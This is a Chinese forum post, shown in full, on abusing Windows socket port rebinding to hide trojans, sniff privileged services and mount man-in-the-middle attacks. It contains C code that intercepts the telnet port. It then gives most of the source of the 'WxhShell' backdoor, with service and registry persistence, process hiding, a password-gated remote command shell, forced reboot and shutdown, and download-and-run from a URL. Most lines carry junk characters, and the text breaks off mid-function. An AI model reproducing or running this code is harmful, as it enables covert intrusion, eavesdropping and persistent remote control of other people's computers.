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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Z5>V{o  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); M7VID6J.  
`{G?>z Fp  
  saddr.sin_family = AF_INET; ] C,1%(  
\Hs|$   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); k_Tswf3  
1D$::{h  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &r:m&?!|VQ  
!BRcq~-.  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5w-JPjH  
NV#')+Ba  
  这意味着什么?意味着可以进行如下的攻击: C<t RU5|  
ja75c~RUw  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6z1\a  
]-KV0H  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) b8HE."*t  
u 6(GM  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 S*rO0s:  
yId;\o B  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \[k% )_  
B<+pg  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^5>du~d  
7(@(Hm  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 hpjUkGm5  
bpnv&EG  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 QmHwn)Ly  
d|3o/@k  
  #include IwM8#6;S~  
  #include TC@bL<1  
  #include YJc%h@_=]  
  #include    \2Xx%SX  
  DWORD WINAPI ClientThread(LPVOID lpParam);   lY->ucS %P  
  int main() r!~(R+,c  
  { +]_nbWL(%  
  WORD wVersionRequested; 1w bTqc  
  DWORD ret; } m6\C5  
  WSADATA wsaData; eB7>t@ED  
  BOOL val; v}&#f&q!  
  SOCKADDR_IN saddr; `>\4"`I  
  SOCKADDR_IN scaddr; &8waih(|  
  int err; <g*.p@o  
  SOCKET s; 9,w}Xe=C  
  SOCKET sc; y3IA '  
  int caddsize; }ymc5-  
  HANDLE mt; ;*.(.  
  DWORD tid;   6QW<RXom  
  wVersionRequested = MAKEWORD( 2, 2 ); ^ ~, ndH{  
  err = WSAStartup( wVersionRequested, &wsaData ); R|$[U  
  if ( err != 0 ) { [pr 9 $Jr  
  printf("error!WSAStartup failed!\n"); T6,V  
  return -1; *$JB`=Q  
  } mZ~mf->%  
  saddr.sin_family = AF_INET; z;U LQ  
   D9,e3.?p  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 g%X&f_@  
{zY`h6d  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); EZ..^M3  
  saddr.sin_port = htons(23); 32s5-.{c/f  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y:rJK|m  
  { 0GS{F8f~,  
  printf("error!socket failed!\n"); g&q]@m  
  return -1; N4A&"1d&  
  } )\D2\1e(c  
  val = TRUE; @X K>  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +g)_4fV0|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) lt{lHat1  
  { ^GE^Q\&D&  
  printf("error!setsockopt failed!\n"); (QhG xuC  
  return -1; ;gEp!R8  
  } j.<:00<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  \C!%IR  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3%_ 4+zd  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 YR?3 61FK  
+ylxezc  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) J 5Wz4`'  
  { mYiSR   
  ret=GetLastError(); AGl|>f)  
  printf("error!bind failed!\n"); v&p,Clt-2  
  return -1; C(EYM$  
  } .=>\Qq%  
  listen(s,2); )?F $-~7  
  while(1) kX@ bv"i  
  { #L_@s d  
  caddsize = sizeof(scaddr); BjH~Ml2  
  //接受连接请求 Y8D7<V~Md  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); F9Ifw><XM  
  if(sc!=INVALID_SOCKET) x1.3W j  
  { >{j,+$%kp  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); hO^&0?  
  if(mt==NULL) f@wsS m  
  { J ZVr&KZN  
  printf("Thread Creat Failed!\n"); l5{(z;xM  
  break; qgwv=5|  
  } =#OHxM  
  } q,<n,0)K  
  CloseHandle(mt); \?bwm&6+r  
  } 1 ;_{US5FR  
  closesocket(s); Xy[4f=X}z  
  WSACleanup(); Ul '~opf  
  return 0; ."~7 \E> t  
  }   Aivu%}_|  
  DWORD WINAPI ClientThread(LPVOID lpParam) @J~ lV\  
  { 6Y;Y}E  
  SOCKET ss = (SOCKET)lpParam; Z-N-9E  
  SOCKET sc; /W"Bf  
  unsigned char buf[4096]; 3S[w'  
  SOCKADDR_IN saddr; 2"pE&QNd  
  long num; }ZEfT]  
  DWORD val; AzHIp^  
  DWORD ret; K!IF?iell  
  //如果是隐藏端口应用的话,可以在此处加一些判断 fOqS|1rC  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   vDu0  
  saddr.sin_family = AF_INET;  5uQv  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); '_q: vjX  
  saddr.sin_port = htons(23); |y{; |K  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Nb^zkg  
  { /E`l:&89)  
  printf("error!socket failed!\n"); j33P~H~  
  return -1; g5kYyE  
  } 2+T8Y,g  
  val = 100; TEaD-mY3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K#9(|2 J%  
  { iF#}t(CrH  
  ret = GetLastError(); ;kyL>mV{  
  return -1; veYsctK~  
  } ()@.;R.Z  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b qg]DO$*  
  { r 85Xa'hh  
  ret = GetLastError(); 2FZ 0c/[&  
  return -1; ooLnJ Y#  
  } $nGbT4sc  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %!ER@&1f&  
  { 3PvZ_!G  
  printf("error!socket connect failed!\n"); w-0O j  
  closesocket(sc); V7B=+(xK  
  closesocket(ss); SQ~N X)  
  return -1; p:[`%<j0  
  } *!r\GGb  
  while(1) p0[,$$pM  
  { DJ mQZ+{2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 NgE&KPj\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9%3 r-U=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 F9u:8;\@`  
  num = recv(ss,buf,4096,0); )5GdvqA  
  if(num>0) fcE/  
  send(sc,buf,num,0); <iXS0k  
  else if(num==0) `L"p)5H  
  break; 8}"f|6Wm  
  num = recv(sc,buf,4096,0); FfD ,cDs  
  if(num>0) }> !"SU:d  
  send(ss,buf,num,0); U<g UX07  
  else if(num==0) |L.~Am d  
  break; Mk'n~.mb  
  } ."!8B9 s  
  closesocket(ss); 2#n$x*CY  
  closesocket(sc); *&hXJJ[+  
  return 0 ; RXx?/\~yd;  
  } r.a9W? (E  
7uv/@(J"$  
wCq)w=,  
========================================================== 7>#L  
XD+cs.{5  
下边附上一个代码,,WXhSHELL ir@N>_  
t5X^(@q4N  
========================================================== N}l]Ilm$34  
AG$-U2ap  
#include "stdafx.h" ,syA()  
j6R{  
#include <stdio.h> :i,c<k  
#include <string.h> ;GSFQ:m[  
#include <windows.h> #o r7T^  
#include <winsock2.h> MR)KLM0  
#include <winsvc.h> d'AviW>  
#include <urlmon.h> zFdz]z3  
d WB8  
#pragma comment (lib, "Ws2_32.lib") T24#gF~  
#pragma comment (lib, "urlmon.lib") y`B!6p 5j  
vU$O{|J  
#define MAX_USER   100 // 最大客户端连接数 zy/tQGTr@  
#define BUF_SOCK   200 // sock buffer ~gi( 1<#  
#define KEY_BUFF   255 // 输入 buffer oVEr{K)  
P{i8  
#define REBOOT     0   // 重启 EkjK92cF  
#define SHUTDOWN   1   // 关机 [>J~M!yu:r  
zIYr0k*%  
#define DEF_PORT   5000 // 监听端口 S~a:1 _Wl  
j=jrzG+`  
#define REG_LEN     16   // 注册表键长度 <1g1hqK3  
#define SVC_LEN     80   // NT服务名长度 SKc T  
J|2Hqd  
// 从dll定义API 6m{$rBR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l#vw L15  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D 917[ <$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sO4}kxZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i;'X}KW  
(+Kof  
// wxhshell配置信息 nhX p_Z9  
struct WSCFG { 7E75s)KH  
  int ws_port;         // 监听端口 "MS`d+rf\  
  char ws_passstr[REG_LEN]; // 口令 *~<]|H5~  
  int ws_autoins;       // 安装标记, 1=yes 0=no &CeF^   
  char ws_regname[REG_LEN]; // 注册表键名 :Ye#NPOI  
  char ws_svcname[REG_LEN]; // 服务名 _M]rH<h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ) Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %:;[M|.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g@6X|W5,J  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }Ka.bZS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rNzhP*Fw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NF\^'W@N  
, a_{ Y+  
}; J!fc)h  
aj'8;E+  
// default Wxhshell configuration {6y.%ysU  
struct WSCFG wscfg={DEF_PORT, p$o&dQ=n[  
    "xuhuanlingzhe", dj&m  
    1, rB&j"p}Q  
    "Wxhshell", @?cXa: tX  
    "Wxhshell", qH$rvD!]  
            "WxhShell Service", $No>-^ )  
    "Wrsky Windows CmdShell Service", +xdFkc  
    "Please Input Your Password: ", 2l/5i]Tq  
  1, GKx,6E#JM  
  "http://www.wrsky.com/wxhshell.exe", W!0  
  "Wxhshell.exe" T0"0/{5-_  
    }; [tK:y[nk  
QDT{Xg* I  
// 消息定义模块 (5DGs_>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nMdN$E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; nV xMo_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Qufv@.'AY  
char *msg_ws_ext="\n\rExit."; n zrCOMld  
char *msg_ws_end="\n\rQuit."; oUKbzr/C  
char *msg_ws_boot="\n\rReboot..."; ggsi`Z{j?  
char *msg_ws_poff="\n\rShutdown..."; Y~SlipY_  
char *msg_ws_down="\n\rSave to "; gsm^{jB  
4bi\$   
char *msg_ws_err="\n\rErr!"; _@;3$eB  
char *msg_ws_ok="\n\rOK!"; YeVc,B'  
N\e@$1  
char ExeFile[MAX_PATH]; D!T4k]^  
int nUser = 0; ?BvI/H5d  
HANDLE handles[MAX_USER]; ` +UMZc  
int OsIsNt; ^JVP2L>o*  
W3/Stt$D  
SERVICE_STATUS       serviceStatus; KXfW&d(Pk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r<N*N,~  
;fME4Sp  
// 函数声明 WB [G!'  
int Install(void); {,2_K6#  
int Uninstall(void); Jl4XE%0  
int DownloadFile(char *sURL, SOCKET wsh); ]hVXFHrR  
int Boot(int flag); Y4!q 1]TGX  
void HideProc(void); 9<c4y4#y  
int GetOsVer(void); 3C[4!>|  
int Wxhshell(SOCKET wsl); :bDn.`KG#  
void TalkWithClient(void *cs); ^J~4~!  
int CmdShell(SOCKET sock); ?,DbV|3 _\  
int StartFromService(void); OmbKx&>YGz  
int StartWxhshell(LPSTR lpCmdLine); W@C tFU9  
I/V#[KC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #LgoKiP!Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +p6\R;_E  
Ic!83-  
// 数据结构和表定义 4EbiCSo  
SERVICE_TABLE_ENTRY DispatchTable[] = U (7P X`1  
{ z9O/MHT[w  
{wscfg.ws_svcname, NTServiceMain}, j|dzd<kE6  
{NULL, NULL} A"VXs1>_^  
}; B4&pBiG&f6  
;-^9j)31+F  
// 自我安装 &7u Ra1/R  
int Install(void) K -1~K  
{ .3&OFM  
  char svExeFile[MAX_PATH]; 3g:+p  
  HKEY key; =8_TOvSJ4p  
  strcpy(svExeFile,ExeFile); OVf|4J/Yx  
eW,Pn'  
// 如果是win9x系统,修改注册表设为自启动 )p9n|C  
if(!OsIsNt) { K): sq{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Nj8)HR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o}Np}PE6  
  RegCloseKey(key); Utp\}0GZY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mg/2 w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %y+j~]^:  
  RegCloseKey(key); N6%q%7F.:  
  return 0; V@-GQP1  
    } ]+9:i!s  
  } ovFfTP<3V  
} M4\Io]}-M  
else { ?=rh=#  
\Da$bJ  
// 如果是NT以上系统,安装为系统服务 H`@7o8oj1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n(VMGCZPV  
if (schSCManager!=0) <sOB j'  
{ o!S_j^p[C  
  SC_HANDLE schService = CreateService %*=FLtBjo  
  ( '|R|7nQAj  
  schSCManager, y&]D2"I  
  wscfg.ws_svcname, kk#d-! $[  
  wscfg.ws_svcdisp, ;\.&FMi  
  SERVICE_ALL_ACCESS, W#\4"'=I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O0RQ}~$'m  
  SERVICE_AUTO_START, Mq?21gW  
  SERVICE_ERROR_NORMAL, $hh=-#J8  
  svExeFile, omP 7|  
  NULL, 4HAfTQ 1G  
  NULL, tWI hbt  
  NULL, rD?o97  
  NULL, AWcP OU  
  NULL ,0xN#&?Ohh  
  ); VF.S)='>Eu  
  if (schService!=0) tnntHQ&b  
  { JG4I-\+H  
  CloseServiceHandle(schService); 3kg+*]tLx  
  CloseServiceHandle(schSCManager); :+n7oOV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :T2K\@  
  strcat(svExeFile,wscfg.ws_svcname); S7R^%Wck/6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2J$Uz,@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x($1pAE  
  RegCloseKey(key); nS#;<p$\  
  return 0; N]~q@x;<)3  
    } pQD8#y)`C  
  } 89l}6p/L  
  CloseServiceHandle(schSCManager); 8dfx _kY`/  
} -xXM/3g1u  
} oc.x1<Nd  
;|c,  
return 1; qabM@+m[  
} hLF@'ln  
[@)|j=:i:  
// 自我卸载 R?k1)n   
int Uninstall(void) Qw ED>G|  
{ gi8kYHldH  
  HKEY key; DE tq]|80m  
aG!!z>  
if(!OsIsNt) { rmhB!Lo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Wo%&,>]<H  
  RegDeleteValue(key,wscfg.ws_regname); Xc.~6nYp  
  RegCloseKey(key); @/~41\=e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &c'unKH  
  RegDeleteValue(key,wscfg.ws_regname); SU1, +7"  
  RegCloseKey(key); _\"?:~rUN  
  return 0; w% M0Mu  
  } l\bBc, %jt  
} h`)r :a7  
} ky*-_  
else { SYyH_0N  
-?ip?[Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); tcs Z! #  
if (schSCManager!=0) x;N?'"GP  
{ X"R;/tZ S4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); StE4n0V  
  if (schService!=0) n1v%S"^  
  { :f `1  
  if(DeleteService(schService)!=0) { #fwG~Q(  
  CloseServiceHandle(schService); UO</4WJ  
  CloseServiceHandle(schSCManager); D[<8(~VP  
  return 0; Fw=-gb_.  
  } +* &!u=%G  
  CloseServiceHandle(schService); @wB$qd;v  
  } #<)u%)`  
  CloseServiceHandle(schSCManager); B1Xn <Wv  
} P /Js!e<\  
} [IMa0qs'  
F3+)bIz  
return 1; .@R{T3 =Q  
} xl s_g/Q  
]NN9FM.2b/  
// 从指定url下载文件 o-R;EbL  
int DownloadFile(char *sURL, SOCKET wsh) ($]y*| Obn  
{ m(?M]CH(A  
  HRESULT hr; WJ=^r@Sf  
char seps[]= "/"; H!,#Z7s  
char *token; sz_|py?0  
char *file; s fazrz`h  
char myURL[MAX_PATH]; W0X?"Ms|a  
char myFILE[MAX_PATH];  ;A1pqHr  
\9!W^i[+  
strcpy(myURL,sURL); 'a*tee ^RS  
  token=strtok(myURL,seps); 0IxXhu6v  
  while(token!=NULL) J v'$6[?  
  { _"=Yj3?G%  
    file=token; ?> }bg  
  token=strtok(NULL,seps); uEH&]M>d_  
  } dtr8u  
m8fxDepFA  
GetCurrentDirectory(MAX_PATH,myFILE); eXUXoK=T  
strcat(myFILE, "\\"); 36e !je  
strcat(myFILE, file); l$z\8]x  
  send(wsh,myFILE,strlen(myFILE),0); ]_@5LvI  
send(wsh,"...",3,0); L+bU~N,+A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @u#Tx%  
  if(hr==S_OK) XX#YiG4|J  
return 0; 1 f).J  
else 6MqJy6  
return 1; ({87311%  
aPWlV= oG  
} ;"Q{dOvp  
QG$LbuZ`  
// 系统电源模块 dUyit-  
int Boot(int flag) <:fjWy  
{ a 39Kl_\  
  HANDLE hToken; 4Bsx[~ u&  
  TOKEN_PRIVILEGES tkp; "X=l7{c/  
;Z\jX[H  
  if(OsIsNt) { 18jI6$DY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u|z B\zd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^&>(_I\w.6  
    tkp.PrivilegeCount = 1; F 0 q#.   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QK)"-y}"g  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c$ya{]a  
if(flag==REBOOT) { b`)^Ao:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %}t.+z(S  
  return 0; (sSMH6iCif  
} sN.h>bd  
else { C(qqGK{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  Gqvj  
  return 0; BuII|j  
} Q[O[,Rk  
  } Z6#}6Y{  
  else { q|xJ)[AO  
if(flag==REBOOT) { $)t ]av  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P]hS0,sE<(  
  return 0; dP}=cZ~  
} , g\%P5  
else { ~Q}JC3f>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `&xo;Vnc  
  return 0; z'OY6  
} [9| 8p$  
} c~bi ~ f  
7)aitDD  
return 1; *Y(v!x \L  
} X~wkqI#d%E  
hqOy*!8'@  
// win9x进程隐藏模块 %v 0 I;t  
void HideProc(void) {YnR]|0&  
{ 0*0]R C5?  
*;b.x"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e%. Xya#\  
  if ( hKernel != NULL ) NGZEUtj  
  { g$+u;ER5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +iKs)s_~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xDv5'IGBb  
    FreeLibrary(hKernel); baJ(Iy$XT  
  } Teq1VK3Hr  
mRVE@ pc2X  
return; &s m7R i  
} .PjJ g^^  
?M?S+@(  
// 获取操作系统版本 *j9{+yO{ZE  
int GetOsVer(void) Z +%Uwj  
{ TTB1}j+V6  
  OSVERSIONINFO winfo; H{}0- 0o  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lFvRXV^+f  
  GetVersionEx(&winfo);  Z|zyO-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Bc1[^{`bq^  
  return 1; Th1/Bxb:  
  else l"9.zPvT<  
  return 0; o&M2POI~q  
} z@@w?>*  
K5X,J/n  
// 客户端句柄模块 .1F(-mLd  
int Wxhshell(SOCKET wsl) UG)J4ZX  
{ Vy*&po[   
  SOCKET wsh; Cm)_xnv  
  struct sockaddr_in client; b'i-/l$  
  DWORD myID; 88c-K{} 3  
43_;Z| T  
  while(nUser<MAX_USER) We7~tkl(  
{ < H1+qN=]`  
  int nSize=sizeof(client); ~~J xw ]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gcLwQ-  
  if(wsh==INVALID_SOCKET) return 1; P_:A%T  
Z.9 ?u;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ziFg+i%s  
if(handles[nUser]==0)  Co e q<  
  closesocket(wsh); {a>a?fVU  
else H8^U!"~E  
  nUser++; z\iz6-\&y  
  } "6.JpUf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X6_m&~}15  
bj6-0`  
  return 0; +(>!nsf  
} $i# 1<Qj  
OC0dAxq  
// 关闭 socket Q)"L8v v  
void CloseIt(SOCKET wsh) HS1Gy/6'  
{ Y yI4T/0s_  
closesocket(wsh); O0`k6$=6r  
nUser--; `1I@tz|  
ExitThread(0); Q/e$Ttt4J  
} ts2;?`~  
hY5G=nbO*  
// 客户端请求句柄 3Q-i%7l  
void TalkWithClient(void *cs) aBV{Xr~#(  
{ WM8 Ce0E  
t?[|oz:v  
  SOCKET wsh=(SOCKET)cs; GWs[a$|  
  char pwd[SVC_LEN]; ! E\xn^  
  char cmd[KEY_BUFF]; m @K5eh  
char chr[1]; ym,UJs&  
int i,j; r[P5 ufy2]  
XwlA W7lU=  
  while (nUser < MAX_USER) { zu6Y*{$>g  
XY(3!>/eQ[  
if(wscfg.ws_passstr) { CTu#KJ?j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J \iyc,M<M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eT??F  
  //ZeroMemory(pwd,KEY_BUFF); ?y( D_NtL  
      i=0; #&+0hS  
  while(i<SVC_LEN) { x Bn+-V  
*&VH!K#@{  
  // 设置超时 - i``yf?P  
  fd_set FdRead; x,W)qv  
  struct timeval TimeOut; )9sRDNr  
  FD_ZERO(&FdRead); 1(V>8}zn  
  FD_SET(wsh,&FdRead); <I.anIB:U  
  TimeOut.tv_sec=8; QN=a{  
  TimeOut.tv_usec=0; :[#g_*G@p  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v ?b9TE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y 9rW_m@B  
LM:|Kydp3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r&AX  
  pwd=chr[0]; odxsF(Q0p  
  if(chr[0]==0xd || chr[0]==0xa) { 6< x0e;>  
  pwd=0; v J*IUy  
  break; E\N?D  
  } )zK`*Fa az  
  i++; Tjo K]]  
    }  |*079v  
!6_lD 0  
  // 如果是非法用户,关闭 socket ]^,<Ez  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wN,DTmtD  
} 1(C3;qlVD  
i3I'n*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); VO ^ [7Y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /60 `"xH  
HA%% WSuf  
while(1) { td^2gjr^5  
~@ZdO+n?  
  ZeroMemory(cmd,KEY_BUFF); %MyA;{-F6  
nOxCni~ T  
      // 自动支持客户端 telnet标准   H!U\;ny  
  j=0; c)8V^7=Q  
  while(j<KEY_BUFF) { 3ThCY`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); loVUB'OSv  
  cmd[j]=chr[0]; a p-\R  
  if(chr[0]==0xa || chr[0]==0xd) { iTgGf  
  cmd[j]=0; b#0y-bR  
  break; 7sECbbJT  
  } R }M'D15  
  j++; @xR7>-$0p  
    } gd'#K~?  
<VV./W8e9  
  // 下载文件 G v[W)+3f  
  if(strstr(cmd,"http://")) { ?(GMe>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); GSg|Gz""J0  
  if(DownloadFile(cmd,wsh)) Z;shFMu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); wsp&U .z  
  else p D!IB`cA4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vlCjh! x  
  } a5WVDh, cR  
  else { DX.u"&Mm  
\dj&4u3  
    switch(cmd[0]) { rP.qCl+J  
  N#{d_v^H?d  
  // 帮助 y XZZ)i_  
  case '?': { uEQH6~\{Nl  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )#[?pYd  
    break; )t={+^Xe  
  } jLC,<V*  
  // 安装 xB:,l'\G  
  case 'i': { GL&ri!,  
    if(Install()) DG8]FhD^b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .!0),KmkK  
    else Mj |)KDL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [dFxW6n  
    break; Wq 7 c/ |  
    } \~:Kp Kq  
  // 卸载 z<c^<hE:l  
  case 'r': { o:#l r{  
    if(Uninstall()) (V @g?|LZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %j=dKd>  
    else G T#hqt'1x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #*q`/O5n  
    break; 6XUcJ0  
    } 9Q- /Yh  
  // 显示 wxhshell 所在路径  Y2vzK;  
  case 'p': {  WwbE xn<  
    char svExeFile[MAX_PATH];  bW<_K9"  
    strcpy(svExeFile,"\n\r"); yXS ~PG  
      strcat(svExeFile,ExeFile); O_0|Q@  
        send(wsh,svExeFile,strlen(svExeFile),0); ~R-S$qizAC  
    break; QE}S5#_"  
    } mk_cub@  
  // 重启 UBuk-tq  
  case 'b': { 1"A1bK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); is?`tre\P  
    if(Boot(REBOOT)) rxCEOG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n[n0iz1-  
    else { k:s}`h _n  
    closesocket(wsh); .Br2^F  
    ExitThread(0); hLGUkG?6G  
    } >8Zz<S&z  
    break; sp0& " &5  
    } jVL<7@_*  
  // 关机 @!fy24R]D  
  case 'd': { GjE/!6b  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rmpJG |(  
